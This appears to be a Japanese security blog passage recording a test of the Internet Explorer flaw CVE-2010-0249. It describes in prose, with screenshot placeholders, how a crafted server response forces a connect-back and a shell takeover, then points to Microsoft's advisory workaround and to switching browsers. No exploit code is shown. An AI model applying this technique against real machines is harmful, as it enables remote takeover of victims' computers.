細工された応答を返すサーバにアクセスすることで脆弱性を利用した攻撃を行い、
任意のサーバの任意のポートにコネクトバックさせ、結果、シェルを奪取するというものです。

下図は、細工された応答を返すサーバを起動させたところです。
aurora_01

このサーバへアクセスさせた結果、ターゲットPCの制御を奪うことに成功しました。
aurora_02
この脆弱性は、このエントリー作成現在、
修正プログラムがリリースされいないため暫定の回避策を行うことになります。
Microsoft社が公開している回避策についてはマイクロソフト セキュリティ アドバイザリ (979352)をご覧ください。
図入りの解説としてはITmediaさんちのこのあたりが参考になると思います。

そもそも、IEを使わず別のブラウザを使うという回避策もアリだと思います。

今後、Gumblar亜種が、この脆弱性を利用しはじめたりなんかして
昨今のGumblar騒ぎに拍車がかからないことを祈っております。
# Gumblar騒ぎは個人的にち食傷気味だったりするんですよね。

Category: exploit | IEのポインタ参照処理の脆弱性(CVE-2010-0249)検証メモ はコメントを受け付けていません